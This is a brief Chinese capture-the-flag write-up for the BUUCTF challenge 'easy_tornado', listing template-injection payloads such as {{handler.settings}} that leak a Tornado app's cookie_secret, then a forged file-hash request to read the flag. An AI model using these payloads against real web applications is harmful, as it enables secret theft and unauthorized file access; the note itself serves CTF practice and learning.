BUUCTF做題筆記 easy_tornado

[護網杯 2018]easy_tornado 進入頁面 分別查看 模板注入 /error?msg={{1*2}} 測試過濾 payload:error?msg={{handler.settings}} 得cookie_secret 用PHP解碼 最後 payload：/file?filename=/fllllllllllllag&filehash=e9bebc8c9f90af29741911918

>>阅读原文<<